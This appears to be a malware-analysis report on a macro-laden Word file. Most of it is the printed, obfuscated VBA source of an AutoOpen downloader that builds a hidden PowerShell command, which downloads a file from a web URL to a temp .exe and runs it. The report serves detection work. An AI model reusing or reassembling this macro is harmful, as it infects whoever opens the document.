Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 93c741fa0abc9eda…

MALICIOUS

Office (OLE)

204.0 KB Created: 2017-03-20 23:18:00 Authoring application: Microsoft Office Word First seen: 2017-04-25
MD5: 26ad73f940d7398d222780b514c289b5 SHA-1: ad53771dbefb7c84063d1e498e6a001504f609c4 SHA-256: 93c741fa0abc9edab9f82f2cb7aa5e221c599637aab2e80c6d23a55414f3c00d
328 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros with an AutoOpen function that utilizes WScript.Shell to execute commands. This indicates a downloader or dropper functionality, common in malware distribution. The ClamAV detection 'Doc.Downloader.Donoff-6152250-1' further supports this assessment. The macro's intent is to leverage WScript.Shell, likely for downloading and executing a secondary payload.

Heuristics 9

  • ClamAV: Doc.Downloader.Donoff-6152250-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Donoff-6152250-1
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    ' Station logical
    Set DybHn9NT = CreateObject("WScript.Shell")
    Dim RnVGxj As Long
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    ' Station logical
    Set DybHn9NT = CreateObject("WScript.Shell")
    Dim RnVGxj As Long
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    ' Timely somali
    Call CallByName(DybHn9NT, VQLUjk("svVNQt", "rsvVNQtusvVNQtnsvVNQt", "True"), 5325 - 5324, ajilI1, 0)
    End If
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Module1"
    Sub AutoOpen()
    Dim gNscgrD As Integer
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 44001 bytes
SHA-256: 1fe57c802a51cc1b61aa9af04283f60dd7e4c94456af9ddf17f13ef0e374c232
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()
Dim gNscgrD As Integer
gNscgrD = 125
If gNscgrD > 8000 * 2 Then
MsgBox "Origin coal", 48, "Origin coal"
Else
uZenD = 20
End If
Dim TwzJxGj As Long
TwzJxGj = 101
If TwzJxGj > 16000 * 1 Then
MsgBox "isarraySecondIsarray", 512, "isarraySecondIsarray"
Else
k0NIm2A2A = 24
End If
' Station logical
Set DybHn9NT = CreateObject("WScript.Shell")
Dim RnVGxj As Long
RnVGxj = 104
If RnVGxj > 8000 * 2 Then
MsgBox "dV", 48, "dV"
Else
U92mGo = 18
End If
' Journeyman daniel waterproof
Dim Y3GhL2 As Long
Y3GhL2 = 112
If Y3GhL2 > 8000 * 2 Then
MsgBox "B", 1, "B"
Else
GAfmSyrfZ = 24
End If
' Vigilant americans australian
Dim TCXIAph As Integer
TCXIAph = 81
If TCXIAph > 8000 * 2 Then
MsgBox "R", vbDefaultButton1, "R"
Else
lCREV = 29
End If
' Emetic tankard hose
Dim BH3Gs As Integer
BH3Gs = 113
If BH3Gs > 16000 * 1 Then
MsgBox "Dayton margarita grow strumpet diver discourage shinto rotary", 1, "Dayton margarita grow strumpet diver discourage shinto rotary"
Else
Ieuri = 28
End If
Dim lZPels As Integer
lZPels = 92
If lZPels > 16000 * 1 Then
MsgBox "Vitamins creak", vbDefaultButton4, "Vitamins creak"
Else
OllbV = 16
End If
' Hd deployment
Dim mwpGA As Integer
mwpGA = 113
If mwpGA > 16000 * 1 Then
MsgBox "xEbes", vbApplicationModal, "xEbes"
Else
fGN7lSA = 31
End If
' Occasion early georgia
eeyZPTQp = VQLUjk("JqcZLP", "aJqcZLPcJqcZLPhJqcZLP(JqcZLP$JqcZLPuJqcZLPrJqcZLPlJqcZLP JqcZLPiJqcZLPnJqcZLP", "True")
Dim gsfqB6 As Long
gsfqB6 = 123
If gsfqB6 > 8000 * 2 Then
MsgBox "enhancements desert sanscrit ballet carnal", 32, "enhancements desert sanscrit ballet carnal"
Else
a1C5OA = 30
End If
Dim QDL1j As Long
QDL1j = 97
If QDL1j > 8000 * 2 Then
MsgBox "bacteria bereavement throwed robot invalid", 32, "bacteria bereavement throwed robot invalid"
Else
XnGSLC = 32
End If
Dim rgJc7iRLk As Integer
rgJc7iRLk = 78
If rgJc7iRLk > 16000 * 1 Then
MsgBox "JfMhzx", vbYesNo, "JfMhzx"
Else
WFIAJr = 20
End If
' Super thumbs
z8ZFn = VQLUjk("YegM0", "pYegM0aYegM0tYegM0hYegM0 YegM0=YegM0 YegM0$YegM0eYegM0nYegM0vYegM0", "True")
Dim EtNvOqC As Long
EtNvOqC = 114
If EtNvOqC > 8000 * 2 Then
MsgBox "J", vbDefaultButton4, "J"
Else
IhPX1 = 31
End If
Dim hD7Dj As Long
hD7Dj = 104
If hD7Dj > 16000 * 1 Then
MsgBox "qxxQUi", 5, "qxxQUi"
Else
RFdeg = 26
End If
Dim NPFjtbq As Long
NPFjtbq = 94
If NPFjtbq > 8000 * 2 Then
MsgBox "GcallG", vbMsgBoxRtlReading, "GcallG"
Else
xgfCJk = 20
End If
iVD0qTS = VQLUjk("hzMDWx", "thzMDWxhhzMDWx;hzMDWxbhzMDWxrhzMDWxehzMDWxahzMDWxkhzMDWx;hzMDWx}hzMDWxchzMDWx", "True")
Dim mgnxgVF As Integer
mgnxgVF = 70
If mgnxgVF > 8000 * 2 Then
MsgBox "edefsnge", 1, "edefsnge"
Else
BxCnawf = 26
End If
Dim wAxBz As Long
wAxBz = 125
If wAxBz > 16000 * 1 Then
MsgBox "TqrJS", vbYesNo, "TqrJS"
Else
TbNxfn = 29
End If
' Significant hale sanctified
Dim jlQQIIX As Long
jlQQIIX = 87
If jlQQIIX > 8000 * 2 Then
MsgBox "kV", vbMsgBoxRight, "kV"
Else
gab3spBH = 27
End If
Dim jVRm3z As Long
jVRm3z = 75
If jVRm3z > 16000 * 1 Then
MsgBox "u", 2, "u"
Else
xzgHrIw = 19
End If
' Intoxicating contrast
yM5S1OBE = VQLUjk("jXbFsO", "ljXbFsOejXbFsO(jXbFsO$jXbFsOujXbFsOrjXbFsOljXbFsO.jXbFsOTjXbFsOojXbFsOSjXbFsO", "True")
Dim uPf7V2j1 As Integer
uPf7V2j1 = 109
If uPf7V2j1 > 8000 * 2 Then
MsgBox "chdirEnumCbool", vbInformation, "chdirEnumCbool"
Else
F8xoa = 28
End If
' Mo gable background
Dim lcK5htk As Integer
lcK5htk = 71
If lcK5htk > 8000 * 2 Then
MsgBox "rlboundr", 0, "rlboundr"
Else
IZITvwp7 = 22
End If
Dim ZGzTQQt As Long
ZGzTQQt = 98
If ZGzTQQt > 16000 * 1 Then
MsgBox "dr", 64, "dr"
Else
EXZ9fGeh = 27
End If
' Functional
Dim ObnzaD As Integer
ObnzaD = 82
If ObnzaD > 16000 * 1 Then
MsgBox "Tm speculate dirk", 16, "Tm speculate dirk"
Else
Txu4Mq = 20
End If
' Downtown java
lRu48S = VQLUjk("uyz0e", "Cuyz0eluyz0eiuyz0eeuyz0enuyz0etuyz0e;uyz0e$uyz0eruyz0eauyz0enuyz0e", "True")
Dim rlAqKy As Integer
rlAqKy = 94
If rlAqKy > 8000 * 2 Then
MsgBox "DQnOTdfj", vbQuestion, "DQnOTdfj"
Else
QQHrx = 28
End If
Dim MFmXhAAij As Long
MFmXhAAij = 84
If MFmXhAAij > 16000 * 1 Then
MsgBox "Fgd4DT", 0, "Fgd4DT"
Else
iCmipv = 22
End If
QPoE0 = VQLUjk("aDIyH", "taDIyH aDIyH/aDIyHbaDIyH aDIyHpaDIyHoaDIyHwaDIyHeaDIyHraDIyHsaDIyH", "True")
Dim T6UftPxy As Long
T6UftPxy = 108
If T6UftPxy > 16000 * 1 Then
MsgBox "bremb", vbOKCancel, "bremb"
Else
plTzvMWS = 19
End If
' Prot
Dim SzxePzHK As Long
SzxePzHK = 64
If SzxePzHK > 8000 * 2 Then
MsgBox "EyKNO", 65536, "EyKNO"
Else
dgXFHxX = 18
End If
' Thatll irc
Dim WNTsVt As Integer
WNTsVt = 98
If WNTsVt > 16000 * 1 Then
MsgBox "Annually", 32, "Annually"
Else
RIseKPU = 21
End If
' Para annex matched garrulous flexibility
Dim kWZwO As Long
kWZwO = 101
If kWZwO > 16000 * 1 Then
MsgBox "Secretary investigations vertically cook automobile methodical", 4096, "Secretary investigations vertically cook automobile methodical"
Else
LtCEol = 18
End If
iySthTU = VQLUjk("LJ2L", ";LJ2L$LJ2LnLJ2LaLJ2LmLJ2LeLJ2L LJ2L=LJ2L LJ2L$LJ2LrLJ2L", "True")
Dim lEqgg1V As Integer
lEqgg1V = 84
If lEqgg1V > 8000 * 2 Then
MsgBox "Pounded systems queue", vbCritical, "Pounded systems queue"
Else
CslCZ = 26
End If
Dim HBTYFT As Integer
HBTYFT = 81
If HBTYFT > 8000 * 2 Then
MsgBox "kePsN", 1, "kePsN"
Else
SPUUsX = 21
End If
' With shanty holier imposes
gska4 = VQLUjk("LOFf", "tLOFfrLOFfiLOFfnLOFfgLOFf(LOFf)LOFf,LOFf LOFf$LOFfpLOFf", "True")
Dim HSsmvKL As Integer
HSsmvKL = 107
If HSsmvKL > 8000 * 2 Then
MsgBox "Pre observatory", 32, "Pre observatory"
Else
DO2Pa = 25
End If
Dim oPBoJp As Integer
oPBoJp = 102
If oPBoJp > 8000 * 2 Then
MsgBox "pwithp", vbDefaultButton1, "pwithp"
Else
NKSwUM = 21
End If
' Traditional bahrain brings calcium
q6ZhEpgRp = VQLUjk("UfsP", "wUfsPSUfsPtUfsPyUfsPlUfsPeUfsP UfsPHUfsPiUfsPdUfsPdUfsP", "True")
Dim vlLaV5j As Integer
vlLaV5j = 76
If vlLaV5j > 8000 * 2 Then
MsgBox "GnKMSfj", vbMsgBoxRtlReading, "GnKMSfj"
Else
RsSXpCvFt = 25
End If
Dim qxj5IR As Long
qxj5IR = 70
If qxj5IR > 8000 * 2 Then
MsgBox "G", 4096, "G"
Else
tff3Ul = 25
End If
Dim ySJNG As Integer
ySJNG = 106
If ySJNG > 16000 * 1 Then
MsgBox "WDnksR", 256, "WDnksR"
Else
VCq6RMTw = 18
End If
' Grasshopper destiny debauch
ARAlcq = VQLUjk("ecd1le", "decd1leoecd1lemecd1le ecd1le=ecd1le ecd1lenecd1leeecd1lewecd1le-ecd1leoecd1le", "True")
Dim W0wasOI As Long
W0wasOI = 94
If W0wasOI > 8000 * 2 Then
MsgBox "hives piecemeal lecturer dilute railroad sabre fujitsu", 256, "hives piecemeal lecturer dilute railroad sabre fujitsu"
Else
spMMK = 31
End If
' Locks overcast scour premier
Dim iPSsxlLI As Integer
iPSsxlLI = 119
If iPSsxlLI > 16000 * 1 Then
MsgBox "q", vbRetryCancel, "q"
Else
CnTRGrQ = 16
End If
Dim yXM8u As Integer
yXM8u = 94
If yXM8u > 8000 * 2 Then
MsgBox "ZSAmuwj", vbYesNo, "ZSAmuwj"
Else
JLuKA = 26
End If
' Irksome lips nw needs
Dim MmjTiZb As Integer
MmjTiZb = 84
If MmjTiZb > 8000 * 2 Then
MsgBox "OT", vbMsgBoxRtlReading, "OT"
Else
sEPYMFh = 31
End If
cNEeEsiSl = VQLUjk("IRLk", "SIRLkhIRLkeIRLklIRLklIRLk;IRLk$IRLkwIRLkeIRLkbIRLkcIRLk", "True")
Dim XDcgjP As Integer
XDcgjP = 114
If XDcgjP > 8000 * 2 Then
MsgBox "v", vbDefaultButton1, "v"
Else
yPJhqrg = 27
End If
' Exhibits procrastination chaos
Dim Od0GwhCG As Integer
Od0GwhCG = 101
If Od0GwhCG > 8000 * 2 Then
MsgBox "iserrorDoeventsStatic", vbYesNo, "iserrorDoeventsStatic"
Else
nFSO2 = 23
End If
' Unfavorable marital ship
Dim dOyTJ As Long
dOyTJ = 99
If dOyTJ > 16000 * 1 Then
MsgBox "rtQy74XW", vbApplicationModal, "rtQy74XW"
Else
lpcuzt = 16
End If
EAULTq = VQLUjk("mFEOJ", "amFEOJtmFEOJcmFEOJhmFEOJ{mFEOJwmFEOJrmFEOJimFEOJtmFEOJemFEOJ-mFEOJ", "True")
Dim HHgEIPXW As Long
HHgEIPXW = 121
If HHgEIPXW > 8000 * 2 Then
MsgBox "Rw", 65536, "Rw"
Else
QkZoEe = 28
End If
Dim Pc6KeS As Integer
Pc6KeS = 83
If Pc6KeS > 8000 * 2 Then
MsgBox "vartypeEnumBase", vbRetryCancel, "vartypeEnumBase"
Else
RCSipa = 22
End If
SUBFNNQ7F = VQLUjk("WFIAJ", "{WFIAJ$WFIAJwWFIAJeWFIAJbWFIAJcWFIAJlWFIAJiWFIAJeWFIAJnWFIAJtWFIAJ", "True")
Dim ibROeda As Integer
ibROeda = 105
If ibROeda > 8000 * 2 Then
MsgBox "gcurdirg", 4096, "gcurdirg"
Else
D1MpJDZQ = 29
End If
Dim UpaAVPC As Integer
UpaAVPC = 70
If UpaAVPC > 8000 * 2 Then
MsgBox "Sorted firewire snowdon seer planes", 4, "Sorted firewire snowdon seer planes"
Else
gwkhcYXKR = 22
End If
Dim vJApUIf As Long
vJApUIf = 111
If vJApUIf > 8000 * 2 Then
MsgBox "weblogs golly warwickshire ventral gambia", vbDefaultButton1, "weblogs golly warwickshire ventral gambia"
Else
WoYG8OU = 25
End If
dm6si = VQLUjk("bjfM", "cbjfMmbjfMdbjfM bjfM/bjfMcbjfM bjfMsbjfMtbjfMabjfMrbjfM", "True")
Dim ABLMgNf As Integer
ABLMgNf = 99
If ABLMgNf > 8000 * 2 Then
MsgBox "ucXWO", 524288, "ucXWO"
Else
zHWlwnQG = 29
End If
Dim WNUHvC As Integer
WNUHvC = 94
If WNUHvC > 8000 * 2 Then
MsgBox "warwickshire", vbMsgBoxHelpButton, "warwickshire"
Else
BGMSPstU = 19
End If
yOu7aO = VQLUjk("mJoe", "amJoetmJoehmJoe)mJoe;mJoeSmJoetmJoeamJoermJoetmJoe-mJoe", "True")
Dim NrPiZZs2 As Long
NrPiZZs2 = 114
If NrPiZZs2 > 16000 * 1 Then
MsgBox "Acceptable altruism removable qualification transparency", vbDefaultButton2, "Acceptable altruism removable qualification transparency"
Else
f2x85Uo = 26
End If
' Topsy-turvy concentrations november relax sap
Dim xGMA7lb As Long
xGMA7lb = 98
If xGMA7lb > 8000 * 2 Then
MsgBox "Kb", vbAbortRetryIgnore, "Kb"
Else
L8xeL = 17
End If
Dim vNGhzx As Long
vNGhzx = 110
If vNGhzx > 8000 * 2 Then
MsgBox "e0", vbApplicationModal, "e0"
Else
Cf1iiJyI = 16
End If
j8bkBfUN = VQLUjk("dWG1", ".dWG1DdWG1odWG1wdWG1ndWG1ldWG1odWG1adWG1ddWG1FdWG1idWG1", "True")
Dim o1BMmd As Long
o1BMmd = 92
If o1BMmd > 8000 * 2 Then
MsgBox "Precious induction disclaimer earning shower", vbDefaultButton2, "Precious induction disclaimer earning shower"
Else
iyp3BZ = 29
End If
' Literary roberts architects
Dim mmlbcFG As Long
mmlbcFG = 116
If mmlbcFG > 16000 * 1 Then
MsgBox "ViEEy", 3, "ViEEy"
Else
eDUZLzU = 16
End If
iCDNsFr = VQLUjk("P13Jmy", "lP13JmyiP13JmyeP13JmynP13JmytP13Jmy P13Jmy=P13Jmy P13JmynP13JmyeP13JmywP13Jmy", "True")
Dim YNa3km As Integer
YNa3km = 120
If YNa3km > 16000 * 1 Then
MsgBox "FdefstrF", vbYesNo, "FdefstrF"
Else
pUvcBMg = 24
End If
Dim ckPVCDlU As Long
ckPVCDlU = 70
If ckPVCDlU > 16000 * 1 Then
MsgBox "lO", VbMsgBoxSetForeground, "lO"
Else
trEovwJ = 23
End If
Dim wK9jMKq As Long
wK9jMKq = 79
If wK9jMKq > 16000 * 1 Then
MsgBox "OB", vbApplicationModal, "OB"
Else
rUJvoI9s = 31
End If
RKDoc6 = VQLUjk("xEQD", "cxEQDtxEQD xEQD-xEQDCxEQDoxEQDmxEQDOxEQDbxEQDjxEQDexEQD", "True")
Dim HhFYc As Long
HhFYc = 112
If HhFYc > 8000 * 2 Then
MsgBox "f", vbAbortRetryIgnore, "f"
Else
bAwQH = 21
End If
Dim pXKLy As Integer
pXKLy = 106
If pXKLy > 8000 * 2 Then
MsgBox "sKZgw1gD", 16, "sKZgw1gD"
Else
ZNSsTsDdD = 16
End If
' Anchorage incidence baboon vendor
Dim GtGvBN As Integer
GtGvBN = 85
If GtGvBN > 8000 * 2 Then
MsgBox "Demonstrated wesley melodrama dissertation smooth thinking", 48, "Demonstrated wesley melodrama dissertation smooth thinking"
Else
lIcHf = 16
End If
' Hard-headed jovial aunty businesses
F9ldH3 = VQLUjk("GtyPFd", "hGtyPFdoGtyPFdsGtyPFdtGtyPFd GtyPFd$GtyPFd_GtyPFd.GtyPFdEGtyPFdxGtyPFdcGtyPFd", "True")
Dim GQ0iJk As Long
GQ0iJk = 106
If GQ0iJk > 16000 * 1 Then
MsgBox "dx", 4, "dx"
Else
Nvly4l = 16
End If
Dim bTKD7Z As Integer
bTKD7Z = 93
If bTKD7Z > 8000 * 2 Then
MsgBox "Xw", 524288, "Xw"
Else
CNVuw8FnC = 21
End If
' Bacteria vietnamese introduction suzuki supple
Dim foQVbA As Long
foQVbA = 109
If foQVbA > 16000 * 1 Then
MsgBox "ZrandomizeZ", 5, "ZrandomizeZ"
Else
NDGYkMx = 29
End If
Dim bxnryCX As Long
bxnryCX = 94
If bxnryCX > 8000 * 2 Then
MsgBox "Qp", 512, "Qp"
Else
FFCRDWQUU = 29
End If
bENzeW = VQLUjk("dcqxx", "ddcqxxmdcqxxidcqxxndcqxx/dcqxxidcqxxndcqxxcdcqxxldcqxxudcqxxddcqxx", "True")
Dim mHvOFcnS As Long
mHvOFcnS = 95
If mHvOFcnS > 16000 * 1 Then
MsgBox "undertone", 16, "undertone"
Else
CcgOi = 26
End If
Dim BJF0UhEE As Integer
BJF0UhEE = 87
If BJF0UhEE > 16000 * 1 Then
MsgBox "w", 1, "w"
Else
rLGmf = 20
End If
sZTLV = VQLUjk("otqn", "botqnjotqneotqncotqntotqn otqnrotqnaotqnnotqndotqnootqn", "True")
Dim liLbUQOG As Long
liLbUQOG = 85
If liLbUQOG > 16000 * 1 Then
MsgBox "K", 5, "K"
Else
DsFIIH = 26
End If
' Appeal encamp diy condescend
Dim cHPe6p As Integer
cHPe6p = 127
If cHPe6p > 16000 * 1 Then
MsgBox "Crucify winnipeg virginian bluntly asp ur tablet stilts", 4, "Crucify winnipeg virginian bluntly asp ur tablet stilts"
Else
tehnc = 30
End If
Dim gZlIi8A As Long
gZlIi8A = 73
If gZlIi8A > 8000 * 2 Then
MsgBox "iH", 32, "iH"
Else
zbySf = 30
End If
uXx8hk = VQLUjk("AeOwJ", "'AeOwJ.AeOwJeAeOwJxAeOwJeAeOwJ'AeOwJ;AeOwJfAeOwJoAeOwJrAeOwJeAeOwJ", "True")
Dim LePQqnXI As Long
LePQqnXI = 108
If LePQqnXI > 16000 * 1 Then
MsgBox "zK", vbDefaultButton4, "zK"
Else
BElESf = 23
End If
Dim BxfBY As Long
BxfBY = 93
If BxfBY > 8000 * 2 Then
MsgBox "VEaQStv", vbApplicationModal, "VEaQStv"
Else
JU3Yyi = 31
End If
Dim UGnojD0 As Long
UGnojD0 = 83
If UGnojD0 > 8000 * 2 Then
MsgBox "VMukB", 1048576, "VMukB"
Else
fFoeSc = 17
End If
' Wrench fence method memorabilia
urHRXrf = VQLUjk("jLmO", "1jLmO,jLmO jLmO6jLmO5jLmO5jLmO3jLmO6jLmO)jLmO;jLmO$jLmO", "True")
Dim gCBJC2 As Long
gCBJC2 = 113
If gCBJC2 > 16000 * 1 Then
MsgBox "ZshellZ", vbDefaultButton1, "ZshellZ"
Else
wDM1S = 32
End If
' Tendon wrestler
Dim PZbBdP As Long
PZbBdP = 83
If PZbBdP > 8000 * 2 Then
MsgBox "callPropertyRgb", vbCritical, "callPropertyRgb"
Else
UzPqSB = 32
End If
Dim K2D4D5 As Long
K2D4D5 = 124
If K2D4D5 > 8000 * 2 Then
MsgBox "z0", vbCritical, "z0"
Else
vuIVpq = 19
End If
bCS6STg = VQLUjk("G9eO", "eG9eOnG9eO G9eO$G9eOwG9eOsG9eOcG9eOrG9eOiG9eOpG9eOtG9eO", "True")
Dim RqaoiCXK As Integer
RqaoiCXK = 97
If RqaoiCXK > 8000 * 2 Then
MsgBox "pPoVKa", 768, "pPoVKa"
Else
YIwMXiE = 22
End If
' Override dodge insert got
Dim Lk2jM As Integer
Lk2jM = 80
If Lk2jM > 16000 * 1 Then
MsgBox "Zj", 512, "Zj"
Else
niBAJ = 32
End If
' Cinnamon gs wichita creator
Dim sKladWQf As Integer
sKladWQf = 66
If sKladWQf > 16000 * 1 Then
MsgBox "rgbMidDate", vbExclamation, "rgbMidDate"
Else
FUUctD6 = 27
End If
' Turbo
Dim LLoFxGQb As Integer
LLoFxGQb = 128
If LLoFxGQb > 8000 * 2 Then
MsgBox "I", vbMsgBoxRight, "I"
Else
hiwoVBq = 27
End If
mPiIOTG = VQLUjk("hwkp", "mhwkp;hwkp$hwkpuhwkprhwkplhwkpshwkp hwkp=hwkp hwkp'hwkp", "True")
Dim BBUnnYs As Long
BBUnnYs = 112
If BBUnnYs > 16000 * 1 Then
MsgBox "calibration contacts nip cedar fairy chromatic", vbOKCancel, "calibration contacts nip cedar fairy chromatic"
Else
ZYizqiw = 27
End If
Dim Z40hBD As Long
Z40hBD = 126
If Z40hBD > 8000 * 2 Then
MsgBox "weir coral", vbYesNo, "weir coral"
Else
RDM1my1 = 17
End If
' Heating apache vastness zoloft
lCWwB = VQLUjk("coJm", "-coJmocoJmbcoJmjcoJmecoJmccoJmtcoJm coJmScoJmycoJmscoJm", "True")
Dim KrvAhz0a As Integer
KrvAhz0a = 103
If KrvAhz0a > 16000 * 1 Then
MsgBox "O", vbCritical, "O"
Else
dGZmL8 = 29
End If
' Actuality jeopardy provost
Dim jQsbW As Integer
jQsbW = 124
If jQsbW > 8000 * 2 Then
MsgBox "errorhandlerFriendThen", vbRetryCancel, "errorhandlerFriendThen"
Else
Wgwtj = 16
End If
joRSFus = VQLUjk("blswQ7", "ablswQ7gblswQ7eblswQ7;blswQ7}blswQ7}blswQ7", "True")
Dim bfqazm4 As Long
bfqazm4 = 120
If bfqazm4 > 8000 * 2 Then
MsgBox "mistook mortality weaver filter unforeseen", VbMsgBoxSetForeground, "mistook mortality weaver filter unforeseen"
Else
dEylw = 32
End If
Dim hASITI As Integer
hASITI = 113
If hASITI > 8000 * 2 Then
MsgBox "publishreportSinOutput", vbApplicationModal, "publishreportSinOutput"
Else
If5ZvlSb = 22
End If
' Expel sundown man-at-arms alkali
Dim QbGUMG As Long
QbGUMG = 115
If QbGUMG > 16000 * 1 Then
MsgBox "zU", 16, "zU"
Else
AEqEGyP = 17
End If
Dim sPctm3 As Integer
sPctm3 = 104
If sPctm3 > 16000 * 1 Then
MsgBox "errorhandlerCurrencyRnd", 1, "errorhandlerCurrencyRnd"
Else
uCm7c = 19
End If
' Pronunciation interventions
n9JnLT = VQLUjk("Hstf", "aHstfnHstfdHstfoHstfmHstf.HstfnHstfeHstfxHstftHstf(Hstf", "True")
Dim RFNQH As Long
RFNQH = 106
If RFNQH > 16000 * 1 Then
MsgBox "dastardly so-and-so wr sorrel", vbOKCancel, "dastardly so-and-so wr sorrel"
Else
xwjC6 = 28
End If
' Cavernous morale
Dim vSA0EV As Integer
vSA0EV = 78
If vSA0EV > 16000 * 1 Then
MsgBox "Politics", vbApplicationModal, "Politics"
Else
vnMYsz = 23
End If
' Tmp lewdness immunity moth
Dim UMQObD As Integer
UMQObD = 78
If UMQObD > 8000 * 2 Then
MsgBox "MgetattrM", 48, "MgetattrM"
Else
UtBauMi = 20
End If
' Tilt judaism sure visionary insignificance
sfDmQlL = VQLUjk("tmLw", "PtmLwrtmLwotmLwctmLwetmLwstmLwstmLw tmLw$tmLwptmLwatmLw", "True")
Dim kgkMve As Long
kgkMve = 128
If kgkMve > 16000 * 1 Then
MsgBox "SXxWO", VbMsgBoxSetForeground, "SXxWO"
Else
gNq9uX = 25
End If
' Boutique happiness mrna banned julia
Dim plwtUs As Long
plwtUs = 110
If plwtUs > 8000 * 2 Then
MsgBox "cstringc", 768, "cstringc"
Else
DicxD = 29
End If
' Albert expel adjournment
Dim iWYEurJ As Integer
iWYEurJ = 93
If iWYEurJ > 8000 * 2 Then
MsgBox "dazlTd", 4, "dazlTd"
Else
h0MJWyx = 26
End If
QVJH3HQ = VQLUjk("RWzL", ".RWzLSRWzLpRWzLlRWzLiRWzLtRWzL(RWzL'RWzL,RWzL'RWzL)RWzL", "True")
Dim y2CLjz As Long
y2CLjz = 96
If y2CLjz > 8000 * 2 Then
MsgBox "lx", 65536, "lx"
Else
dyRXKo = 28
End If
Dim lqgWQv2 As Integer
lqgWQv2 = 128
If lqgWQv2 > 16000 * 1 Then
MsgBox "oMvDuGxO", vbDefaultButton4, "oMvDuGxO"
Else
bANlM = 25
End If
UadzHg = VQLUjk("gTReN", "hgTReNegTReNlgTReNlgTReN gTReN-gTReNWgTReNigTReNngTReNdgTReNogTReN", "True")
Dim IYaNH4 As Integer
IYaNH4 = 73
If IYaNH4 > 16000 * 1 Then
MsgBox "SPMMFy", vbOKOnly, "SPMMFy"
Else
vimApVE = 17
End If
Dim zK8aXS As Integer
zK8aXS = 99
If zK8aXS > 16000 * 1 Then
MsgBox "LWioiQhQ", 64, "LWioiQhQ"
Else
gr2UsE7 = 30
End If
JBDPYdL = VQLUjk("TIstst", "eTIststpTIststtTIststiTIststoTIststnTIstst.TIststMTIststeTIststsTIststsTIstst", "True")
Dim Fwj8nf As Integer
Fwj8nf = 102
If Fwj8nf > 8000 * 2 Then
MsgBox "EiX81wlC", vbOKCancel, "EiX81wlC"
Else
QmbtVJ = 29
End If
' Cacao tanks enormous deflected reciprocity
Dim ffdJqtq As Long
ffdJqtq = 99
If ffdJqtq > 16000 * 1 Then
MsgBox "rstopr", 768, "rstopr"
Else
egzvWLa4 = 21
End If
' Feat normally
ZHsJUZt = VQLUjk("wkaIH", ":wkaIHtwkaIHewkaIHmwkaIHpwkaIH wkaIH+wkaIH wkaIH'wkaIH\wkaIH'wkaIH", "True")
Dim rFXx6S As Long
rFXx6S = 80
If rFXx6S > 16000 * 1 Then
MsgBox "Senate", 3, "Senate"
Else
BsBCCL = 23
End If
Dim qmzzkP As Long
qmzzkP = 118
If qmzzkP > 8000 * 2 Then
MsgBox "wMYbEEw", vbDefaultButton3, "wMYbEEw"
Else
cNZvJ = 29
End If
Dim halzePO As Integer
halzePO = 108
If halzePO > 8000 * 2 Then
MsgBox "seaport iceland going told audio affably", vbMsgBoxRight, "seaport iceland going told audio affably"
Else
RqHk3 = 29
End If
' Stolen sticks
L5XWmu = VQLUjk("idqeB", "hidqeBtidqeBtidqeBpidqeB:idqeB/idqeB/idqeBwidqeBwidqeBwidqeB.idqeB", "True")
Dim pnOvAWE As Integer
pnOvAWE = 81
If pnOvAWE > 8000 * 2 Then
MsgBox "kseekk", VbMsgBoxSetForeground, "kseekk"
Else
wxKaOL = 16
End If
Dim KTPgniSm As Integer
KTPgniSm = 128
If KTPgniSm > 8000 * 2 Then
MsgBox "IsetI", 65536, "IsetI"
Else
JWNXGzd = 25
End If
Dim YebiueJL As Long
YebiueJL = 99
If YebiueJL > 16000 * 1 Then
MsgBox "qQbqX", 16384, "qQbqX"
Else
grgjv = 26
End If
Dim ODE0YsY As Long
ODE0YsY = 75
If ODE0YsY > 16000 * 1 Then
MsgBox "MhBiqd", 0, "MhBiqd"
Else
AGlZxbz = 27
End If
' Galleon posters
NbXHct = VQLUjk("YBbIe", " YBbIe+YBbIe YBbIe$YBbIenYBbIeaYBbIemYBbIeeYBbIe YBbIe+YBbIe YBbIe", "True")
Dim ZolHrLT As Integer
ZolHrLT = 108
If ZolHrLT > 8000 * 2 Then
MsgBox "Xu", 2, "Xu"
Else
RST8QH = 17
End If
Dim BzbYcQ As Long
BzbYcQ = 126
If BzbYcQ > 8000 * 2 Then
MsgBox "palliation staffordshire better", vbDefaultButton2, "palliation staffordshire better"
Else
D5fIDQg = 24
End If
nx3GJ = VQLUjk("F1oS", "tF1oSeF1oSmF1oS.F1oSNF1oSeF1oStF1oS.F1oSWF1oSeF1oSbF1oS", "True")
Dim AdGmUv As Integer
AdGmUv = 92
If AdGmUv > 8000 * 2 Then
MsgBox "e", vbMsgBoxHelpButton, "e"
Else
DoScFja = 31
End If
Dim lOe9Wx As Integer
lOe9Wx = 100
If lOe9Wx > 8000 * 2 Then
MsgBox "eventDatevalueByte", vbDefaultButton4, "eventDatevalueByte"
Else
oTsObCtJv = 23
End If
